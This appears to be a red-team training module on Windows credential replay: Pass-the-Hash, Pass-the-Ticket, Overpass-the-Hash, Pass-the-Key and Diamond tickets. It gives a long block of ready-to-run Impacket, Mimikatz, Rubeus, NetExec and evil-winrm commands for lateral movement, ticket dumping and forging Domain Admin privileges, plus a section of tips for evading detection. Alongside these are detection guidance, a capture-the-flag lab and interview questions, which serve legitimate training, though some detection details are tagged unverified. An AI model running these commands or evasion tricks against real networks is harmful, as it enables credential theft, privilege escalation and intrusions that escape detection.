Pass-the-Hash & Pass-the-Ticket
Microsoft never built NTLM or Kerberos to defend against an attacker who already has the credential material. The protocols assume the credential was given to the OS for safekeeping — if an attacker can pull it back out (PE3), they can replay it from any host, without ever knowing the plaintext password. Pass-the-Hash (PtH) is the technique for NTLM (you have an NT hash, you authenticate as that user). Pass-the-Ticket (PtT) is the Kerberos equivalent (you have a TGT or TGS, you inject it into a session). Overpass-the-Hash is the hybrid: use an NT hash to obtain a Kerberos TGT, then move with the more flexible Kerberos ticket. These three techniques, plus the closely-related “Pass-the-Key” for AES keys, account for the vast majority of real-world Windows lateral movement today.
The Core Concept
Section titled “The Core Concept”Two separate credential systems run side-by-side on Windows. Each has its own replay attack:
┌──────────────── NTLM path ────────────────┐ ┌─────────── Kerberos path ───────────┐│ │ │ ││ Client → "I am jsmith" │ │ Client ─ AS-REQ ──► KDC ││ Server → challenge nonce │ │ Client ◄ AS-REP (TGT) ─ KDC ││ Client → HMAC-MD5(nonce, NT hash) │ │ Client ─ TGS-REQ (TGT) ──► KDC ││ Server → verifies (server also has hash) │ │ Client ◄ TGS-REP ── KDC ││ │ │ Client ─ AP-REQ (TGS) ─► Service ││ Pass-the-Hash: substitute any NT hash │ │ ││ for the legitimate one. No password needed. │ │ Pass-the-Ticket: substitute any ││ │ │ valid TGT/TGS into the session. │└──────────────────────────────────────────┘ └───────────────────────────────────────┘The OS keeps NT hashes in LSASS for SSP use. Kerberos tickets live in the same LSASS logon session. An attacker who can write to LSASS (PE3 conditions) can replace these structures with anything they want, then make API calls that use the new credential material transparently. The benefit over password-based logon: no failed-auth counter, no 4625 failure events, no rate limiting — the credential is already valid by construction.
How It Works
Section titled “How It Works”- NTLM Pass-the-Hash mechanics — when you authenticate via NTLM, the client computes
HMAC-MD5(server_challenge, NT_hash). The server does the same with its stored copy of the hash. The plaintext password is never required. Tools likepth-winexe,crackmapexec -H,evil-winrm -Himpersonate a user by holding the NT hash in their own process and computing the response for any NTLM challenge. From the server’s perspective: identical to a real logon. EID 4624 withLogonProcessName = NtLmSspandAuthenticationPackageName = NTLMfires. - Kerberos Pass-the-Ticket mechanics — the Kerberos SSP stores the user’s TGT in the logon session’s credential cache. If you inject a different TGT (and matching session key) into a process’s cache, any subsequent
InitializeSecurityContextcall uses the new ticket. Mimikatzkerberos::ptt file.kirbiwrites a.kirbi(Kerberos CRED file) to the calling process’s cache. From the DC’s perspective: a previously-issued TGT is being used — no new AS-REQ fires (which is the entire point — no EID 4768). - Overpass-the-Hash — when you have an NT hash but want a Kerberos TGT (because the target service is Kerberos-only or you want a TGS that won’t show as NTLM). You request a TGT via PKINIT-style fake, OR you use
Rubeus asktgt /user:jsmith /rc4:<hash>which sends an AS-REQ with the NT hash as the preauth key (NT hash as the RC4 key derivation). The KDC responds with a TGT — you then use the TGT normally. This bridges the NTLM and Kerberos worlds. - Pass-the-Key (AES) — same as PtH but for AES keys. Modern domains may disable RC4, leaving only AES128/AES256 keys for Kerberos.
Rubeus asktgt /user:jsmith /aes256:<hex>derives the preauth from the AES key. The AES key is derived from the password via PBKDF2, so you must have cracked the password first (Kerberoast output → crack → derive AES key → pass the key).sekurlsa::ekeysin Mimikatz dumps the raw AES keys directly from LSASS, bypassing the need to crack. - Diamond ticket — modern variant of golden/silver ticket where the TGT is not forged from scratch; instead, a legitimately-obtained TGT is modified (e.g., to add PAC groups for privilege escalation). Avoids the obvious “TGT issued outside normal hours” detection.
Rubeus diamondimplements this.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
pth-winexe | NTLM SMB logon with hash | Easy — EID 4624 NTLM from unusual source |
crackmapexec smb -H <hash> | Mass SMB auth with hash (now NetExec) | Easy — high volume of 4624 NTLM in short window |
evil-winrm -H <hash> | WinRM with hash | Medium — EID 4624 LogonProcessName = Wsmprovhost |
Mimikatz sekurlsa::pth | Inject hash into a new process | Hard — no network logon from the original host |
klist purge + kerberos::ptt file.kirbi | Inject Kerberos ticket | Hard — no EID 4768/4769 (no AS-REQ/TGS-REQ) |
Rubeus asktgt /rc4:<hash> then ptt | Overpass-the-hash | Medium — EID 4768 with etype 0x17 looks unusual |
Rubeus asktgt /aes256:<key> | Pass-the-key (AES) | Medium — EID 4768 looks normal |
secretsdump -hashes to SMB | Remote SAM dump over SMB | Easy — EID 4624 NTLM then SAM file access |
wmiexec.py -hashes | WMI-based lateral (no PsExec) | Medium — EID 4624 NTLM, then WMI activity |
atexec.py -hashes | Task scheduler lateral | Medium — EID 4624, then 4698 (Scheduled Task) |
| Diamond ticket (Rubeus) | Modified legitimate TGT | Hard — TGT looks normal, PAC modified |
Hands-On Commands
Section titled “Hands-On Commands”# === PASS THE HASH (NTLM) ===# Impacket — Linux-side, no on-host agentpython3 psexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c corp.local/jsmith@SRV01.corp.localpython3 wmiexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c corp.local/jsmith@SRV01.corp.localpython3 smbexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c corp.local/jsmith@SRV01.corp.localpython3 atexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c corp.local/jsmith@SRV01.corp.local 'whoami'python3 crackmapexec smb 10.0.0.0/24 -u jsmith -H 8846f7eaee8fb117ad06bdd830b7586c# NetExec (CME successor, actively maintained)nxc smb 10.0.0.0/24 -u jsmith -H 8846f7eaee8fb117ad06bdd830b7586c --shares# evil-winrm (Ruby, interactive PowerShell)evil-winrm -i 10.0.0.5 -u jsmith -H 8846f7eaee8fb117ad06bdd830b7586c# Inside evil-winrm, you can also use built-in pass-the-hash helpers
# === PASS THE HASH (Mimikatz, on-host) ===mimikatz "sekurlsa::pth /user:jsmith /domain:corp.local /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe" exit# Spawns a new cmd.exe with the hash loaded into its LSASS slot# Commands from that cmd.exe authenticate as jsmith transparently
# === PASS THE TICKET (Kerberos) ===# First, dump existing tickets from current or another sessionmimikatz "kerberos::list /export" exit # Exports to .kirbi files in CWD# Or RubeusRubeus.exe dump /outfile:C:\windows\temp\kirbis\# Inject a ticket fileRubeus.exe ptt /ticket:C:\windows\temp\TGT-jsmith@CORP.LOCAL.kirbi# Or via Mimikatzmimikatz "kerberos::ptt C:\windows\temp\TGT-jsmith@CORP.LOCAL.kirbi" exit# Verifyklist# Now access resources as the ticketed user:dir \\fileserver01.corp.local\c$
# === OVERPASS THE HASH ===# Use an NT hash to get a TGT (RC4 preauth)Rubeus.exe asktgt /user:jsmith /rc4:8846f7eaee8fb117ad06bdd830b7586c /domain:corp.local /dc:dc01.corp.local /ptt# The /ptt flag injects the resulting TGT into the current process immediately# Then access Kerberos-only services:dir \\dc01.corp.local\sysvol
# === PASS THE KEY (AES) ===# First obtain the AES key (from Kerberoast+crack, or from sekurlsa::ekeys on a foothold):mimikatz "sekurlsa::ekeys" exit# Output includes: aes256_hmac: 0x<128-hex># aes128_hmac: 0x<64-hex># Then request a TGT with the AES key (no RC4 downgrade):Rubeus.exe asktgt /user:jsmith /aes256:0x<128-hex> /domain:corp.local /dc:dc01.corp.local /ptt# Mimikatz version:mimikatz "kerberos::ask /user:jsmith /domain:corp.local /aes256:<hex> /ptt" exit
# === DIAMOND TICKET (modern, more OPSEC-safe than golden) ===# Take a legitimate TGT (from any user), modify the PAC to escalate privileges# First obtain a base TGT:Rubeus.exe asktgt /user:jsmith /rc4:8846f7eaee8fb117ad06bdd830b7586c /domain:corp.local /dc:dc01.corp.local# Then modify it to add Domain Admin group to PAC, re-sign with krbtgt hash:Rubeus.exe diamond /krbkey:<krbtgt-ntlm> /user:jsmith /ticket:<base.b64> /groups:519 /tgiru:...
# === SLICK WMI LATERAL (Python) ===# Avoids the PsExec service installation (which is loud)python3 wmiexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c corp.local/jsmith@SRV01.corp.local# Output: a semi-interactive shell over DCOM/WMI
# === SAMRPsExec Alternative (no service install) ===# DCOM lateral via ShellWindows (T1547-style)python3 dcomexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c corp.local/jsmith@SRV01.corp.localDetection — Defender View
Section titled “Detection — Defender View”Windows Security Log:
- EID 4624 — successful logon. Key fields for catching PtH/PtT:
Logon Type 3— network logon (SMB/WMI to a remote host).Authentication Package: NTLM— when modern domains default to Kerberos, NTLM from a service account is anomalous.Logon Process: NtLmSsp— confirms NTLM was used.Package Name (NTLM only): NTLM V2— if “NTLM” (v1), this is a strong indicator of legacy tooling.Source Workstation Name— the originating host.
- EID 4625 — failed logon. A burst of 4625s followed by 4624 from same source = brute-then-pass pattern.
- EID 4648 — explicit credential logon (e.g.,
runas /user:). Rare in normal use; common in attacker lateral movement. - EID 4768 — Kerberos TGT request. For overpass-the-hash, this fires when the attacker obtains the TGT. If etype is 0x17 (RC4) in a domain where modern clients use AES (0x12), the request is anomalous.
- EID 4769 — Kerberos TGS request. For PtT, this fires when the attacker uses the TGT to access a service.
- EID 4776 — NTLM authentication attempt (domain controller side).
Sysmon:
- EID 1 — ProcessCreate:
lsass.exeas parent of any process is anomalous (Mimikatz sekurlsa::pth spawns child of LSASS via impersonation). - EID 3 — NetworkConnect: process connecting to port 88 (Kerberos), 445 (SMB), 135 (RPC), 5985 (WinRM) on DC or member servers.
- EID 10 — ProcessAccess: any process reading LSASS for credential extraction (PE3).
MITRE ATT&CK:
- T1550.001 — Use Alternate Authentication Material: Application Access Token (PtH via token impersonation in some framings)
- T1550.002 — Use Alternate Authentication Material: Pass the Hash
- T1550.003 — Use Alternate Authentication Material: Pass the Ticket
- T1550.004 — Use Alternate Authentication Material: Web Session Cookie (web-side analog)
- T1558 — Steal or Forge Kerberos Tickets (parent for PtT)
Wazuh rule 87104 [verify] — Pass-the-hash pattern (NTLM logon with no recent TGT request). Wazuh rule 87105 [verify] — Pass-the-ticket pattern (Kerberos access without prior 4768 for that user/host). Wazuh rule 87100 [verify] — Mimikatz usage (sekurlsa::, kerberos::, lsadump::).
Defender for Identity:
- “Suspected Pass-the-Ticket attack” — TGT used from a host that did not request it.
- “Suspected Pass-the-Hash attack” — NTLM logon from a host that has no record of the user logging in.
- “Suspected Overpass-the-Hash attack” — RC4 AS-REQ from a non-legacy host.
Elastic Security: rule “Credential Access via Pass-the-Hash” matches 4624 Logon Type 3 + NTLM + process not previously seen.
Evasion Techniques
Section titled “Evasion Techniques”Use the impersonation token, not the network logon. When you PtH via sekurlsa::pth, Mimikatz spawns a child process with a primary token built from the NTLM hash. Calls from that process look like calls from the original user, including the Kerberos SSP deciding to request tickets. If the application uses NTLM, the wire signal is identical to legitimate traffic. If Kerberos, you transition smoothly into overpass-the-hash. The 4624 NTLM event from your foothold host is the main tell.
Diamond tickets vs golden tickets. A golden ticket fires EID 4768/4769 not at all (no KDC interaction), but a security audit comparing ticket issuance timestamps to the user’s actual logon history will flag it. Diamond ticket modifies a real, recently-issued TGT — so its timestamps, the PAC signature, and the user’s recent activity all align. Evasion cost: higher (you need to obtain a TGT first). Detection cost: much higher (anomaly baseline required).
Pick the right protocol. NTLM is loud. Kerberos is quiet (no plaintext passwords, only the TGT/TGS signature). When you can choose, use Kerberos — request a TGT, then TGSes. Many defenders’ rules key on NTLM specifically. Pure-Kerberos lateral movement produces only 4768/4769 events, which look like normal user activity.
Prefer WMI/WinRM over SMB. PsExec installs a service (PSEXESVC), which fires EID 4697 (Service Install) and creates a service binary on disk. WMI lateral uses DCOM (no file install), atexec uses Task Scheduler (EID 4698 Scheduled Task Created, but no service), dcomexec uses various DCOM objects. Each is a different Sigma rule; defenders vary in coverage.
Rotate source hosts. PtH from a single foothold produces a single 4624 source IP. If you pivot through two hosts (foothold → host A as jsmith → host B as jsmith), the source IP for host B’s 4624 is host A — not your foothold. The 4624 chain makes IR attribution harder, especially if you clean up tickets on host A.
Use AES overpass-the-hash, not RC4. Rubeus asktgt /aes256:<hex> produces an AS-REQ that looks like a modern Windows 10 client. RC4 (/rc4:) produces an etype 0x17 ticket, which is anomalous in modern domains. Pay the cracking cost upfront to obtain the AES key.
Use built-in LOLBins not Impacket. Impacket’s SMB/WMI code produces a recognizable SMB negotiate dialect (often 0x0311 / SMB 3.1.1 with specific capabilities). Native Windows tools (wmic, powershell -c, net use) produce SMB traffic indistinguishable from legitimate admin activity. Cost: you have to be on a Windows host. Benefit: no signature.
| Evasion | What it bypasses | Defense |
|---|---|---|
| sekurlsa::pth (token impersonation) | Network logon telemetry from a new host | Correlate 4624 NTLM with prior successful logon from same host |
| Diamond ticket vs golden ticket | Ticket-anomaly detection (time, source host) | DC sync to compare issued-ticket DB with observed usage |
| Kerberos-only lateral (no NTLM) | NTLM-specific Sigma rules | Track 4768/4769 from new source hosts |
| WMI/WinRM over PsExec | Service install (EID 4697), PSEXESVC on disk | WMI provider EID 11/12, WinRM EID 169 |
| Pivot through hop host (multi-hop) | Source IP attribution | Track ticket lineage via LSASS SAML tokens (DfI does this) |
| AES asktgt (not RC4) | RC4-etype AS-REQ detection rules | Alert on AS-REQ from non-standard client (process, host) |
| Native LOLBins (wmic, net use) | Impacket SMB negotiate signature | SMB dialect + capability fingerprinting |
⚠️ What caught me: A pivoting engagement where I
sekurlsa::pth’d as a Domain Admin from a foothold, thenpth-winexe’d to a DC. The detection that caught me wasn’t 4624 or 4769 — it was EID 800 (TerminalServices-LocalSessionManager) on the DC, which is normally a remote-desktop session log. My PtH had used the-d corp.localflag which made NTLM authenticate as the user’s domain account, and the SMB negotiate from Impacket set up an interactive session that the DC logged as if it were a Terminal Services session. That combination — Domain Admin logon + TS-style session — fired a Microsoft Defender for Cloud Apps heuristic (“impossible travel + atypical session type”). Lesson: every credential replay changes the session type metadata, and analysts correlate across telemetry sources you didn’t know were correlated.
Lab Practice
Section titled “Lab Practice”VMs: DC01 (Server 2022), SRV01 (Server 2019), and Win11 client. jsmith is a low-priv domain user; svcadmin is a Domain Admin whose NT hash you have (simulating a dump from a compromised host).
Setup:
- Obtain
svcadmin’s NT hash viasecretsdump.py -just-dc-ntlmfrom a compromised DC scenario, or set a known password and pre-compute. - Disable RC4 on the DC for one phase, then enable it for another (
KDCConfigurationpolicy:_supportedencryptiontypes).
Objective:
- (a) PtH to SRV01 via
wmiexec.pywithsvcadmin’s NT hash, dumplsassfrom SRV01. - (b) PtH via
sekurlsa::pth(Mimikatz) from Win11 to a new process; from that process, list\\DC01\c$. - (c) Overpass-the-hash:
Rubeus asktgt /rc4:<hash>then access a Kerberos-only share. - (d) Pass-the-key: derive AES256 key from a Kerberoast crack,
Rubeus asktgt /aes256:, demonstrate EID 4768 with etype 0x12 (stealthy).
Expected flag format: flag{pth_ptt_overpass_key_lateral_movement_succeeded}.
Detection that should fire:
- Windows Security EID 4624 — NTLM logon type 3 from Win11 to SRV01.
- Windows Security EID 4768 — TGT requested by svcadmin from Win11 (overpass).
- Defender for Identity — “Suspected Overpass-the-Hash” alert.
- Sysmon EID 1 —
lsass.exeas parent ofcmd.exe(Mimikatz sekurlsa::pth).
Interview Questions
Section titled “Interview Questions”Technical: explain why Pass-the-Hash works for NTLM but not for Kerberos. What is the structural difference between the two protocols that forces attackers to use a different technique (Pass-the-Ticket) for Kerberos?
Scenario: you have an NT hash but no plaintext password. You need to access a Kerberos-only service. Walk through the exact request flow you use, and what Windows Event IDs fire on the DC.
Conceptual: explain the difference between a Golden Ticket, a Silver Ticket, and a Diamond Ticket. Why was the Diamond Ticket introduced, and what specific detection does it evade?
Technical: an organization has disabled RC4 across the domain. Describe the steps to perform overpass-the-hash in this environment. What additional information do you need beyond the NT hash, and how do you obtain it?
Scenario: you are pivoting through a network and want to minimize EID 4769 noise on the DC. Walk through your ticket usage strategy — do you request TGSes for each service you access, or do you request one TGT and inject it everywhere?
Related Modules
Section titled “Related Modules”→ PE3 (Credential Dumping) · PE9 (Kerberoasting) · PE4 (Lateral Movement)